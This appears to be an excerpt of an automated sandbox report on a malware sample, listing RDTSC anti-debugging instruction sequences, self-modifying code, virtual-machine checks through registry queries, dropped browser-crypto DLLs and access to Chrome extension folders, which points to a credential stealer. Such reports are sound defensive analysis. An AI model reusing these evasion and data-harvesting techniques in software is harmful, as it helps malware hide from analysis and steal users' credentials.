Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE9947 second address: CE9953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE9A7A second address: CE9A80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE9FB5 second address: CE9FBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0D5F second address: CF0D67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0D67 second address: CF0D88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F58CCE55456h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF12FF second address: CF1315 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCB8AE3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1315 second address: CF131B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF146C second address: CF1471 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF178F second address: CF17A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F58CCE5544Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF17A1 second address: CF17A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF17A5 second address: CF17CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F58CCE55446h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jp 00007F58CCE55452h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1A66 second address: CF1A6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1A6C second address: CF1A70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF213A second address: CF213E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF213E second address: CF2144 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF2144 second address: CF214A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF214A second address: CF2167 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F58CCE55446h 0x0000000a jmp 00007F58CCE55453h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF2167 second address: CF216B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF2881 second address: CF28C3 instructions: 0x00000000 rdtsc 0x00000002 js 00007F58CCE55446h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F58CCE55457h 0x00000013 jo 00007F58CCE5545Dh 0x00000019 jmp 00007F58CCE55457h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4E4D second address: CF4E7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F58CCB8AE3Dh 0x00000009 popad 0x0000000a jmp 00007F58CCB8AE44h 0x0000000f pop esi 0x00000010 push esi 0x00000011 push ebx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4E7A second address: CF4E82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFD55B second address: CFD563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFD563 second address: CFD57F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F58CCE55457h 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFD57F second address: CFD58F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCB8AE3Bh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFD2CD second address: CFD2D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0A513 second address: D0A52C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F58CCB8AE36h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F58CCB8AE38h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0A52C second address: D0A532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0A532 second address: D0A536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0A536 second address: D0A540 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F58CCE55446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0A540 second address: D0A550 instructions: 0x00000000 rdtsc 0x00000002 js 00007F58CCB8AE42h 0x00000008 jbe 00007F58CCB8AE36h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10D89 second address: D10D90 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10F2C second address: D10F43 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F58CCB8AE36h 0x00000008 jmp 00007F58CCB8AE3Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D21216 second address: D21235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F58CCE5544Fh 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D21235 second address: D21239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D21239 second address: D21253 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F58CCE55446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F58CCE55450h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27B48 second address: D27B4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27B4D second address: D27B53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27B53 second address: D27B61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F58CCB8AE36h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27FBF second address: D27FC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2813A second address: D2814F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F58CCB8AE3Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2814F second address: D28155 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D28155 second address: D28159 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D28159 second address: D281A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCE55453h 0x00000007 jmp 00007F58CCE5544Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push edx 0x00000012 jmp 00007F58CCE55452h 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 pop edx 0x0000001a jmp 00007F58CCE5544Dh 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D281A6 second address: D281AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D281AE second address: D281C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007F58CCE55446h 0x0000000d je 00007F58CCE55446h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D285B3 second address: D285B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C830 second address: D2C834 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D48400 second address: D48404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4A087 second address: D4A095 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jne 00007F58CCE55446h 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4A095 second address: D4A0A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F58CCB8AE3Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D59E25 second address: D59E47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 push edx 0x00000007 pushad 0x00000008 jmp 00007F58CCE55458h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D59E47 second address: D59E4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D59FBE second address: D5A024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jns 00007F58CCE55460h 0x0000000b pushad 0x0000000c jmp 00007F58CCE55456h 0x00000011 pushad 0x00000012 popad 0x00000013 je 00007F58CCE55446h 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jg 00007F58CCE55448h 0x00000023 jmp 00007F58CCE55456h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5A024 second address: D5A02A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5A02A second address: D5A039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F58CCE5544Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5A6D7 second address: D5A6DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5A6DD second address: D5A6E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5A6E3 second address: D5A6E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5A993 second address: D5A9C2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F58CCE55446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F58CCE5544Ch 0x0000000f jo 00007F58CCE5544Ch 0x00000015 jng 00007F58CCE55446h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jnl 00007F58CCE55446h 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5A9C2 second address: D5A9E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCB8AE42h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007F58CCB8AE36h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5A9E0 second address: D5A9F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCE5544Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5AB6D second address: D5AB73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5AB73 second address: D5AB80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5AB80 second address: D5AB84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5AD0A second address: D5AD46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F58CCE55446h 0x00000009 jmp 00007F58CCE55455h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F58CCE55455h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D62953 second address: D62960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F58CCB8AE36h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D62960 second address: D62965 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D03AC second address: 50D0409 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F58CCB8AE47h 0x00000008 pushfd 0x00000009 jmp 00007F58CCB8AE48h 0x0000000e or al, FFFFFFD8h 0x00000011 jmp 00007F58CCB8AE3Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F58CCB8AE45h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D0409 second address: 50D0422 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 mov ecx, edi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F58CCE5544Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D04CF second address: 50D04FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b pushad 0x0000000c mov cx, bx 0x0000000f popad 0x00000010 mov dword ptr [esp], ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F58CCB8AE48h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D04FC second address: 50D0513 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCE5544Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D0513 second address: 50D052E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F58CCBF74D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D052E second address: 50D0534 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D0534 second address: 50D0538 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7E50E second address: C7E514 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7E514 second address: C7E519 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7E519 second address: C7E51F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D0D1B second address: 50D0D1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D0D1F second address: 50D0D23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D0D23 second address: 50D0D29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AD1B2D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C71C28 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C9E700 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D03BD6 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00884910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00884910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0087DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0087DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0087E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0087E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00883EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00883EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0087F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0087F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008716D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_008716D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0087BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0087BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008838B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_008838B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0087ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0087ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00884570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00884570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0087DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0087DE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00871160 GetSystemInfo,ExitProcess,

0_2_00871160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
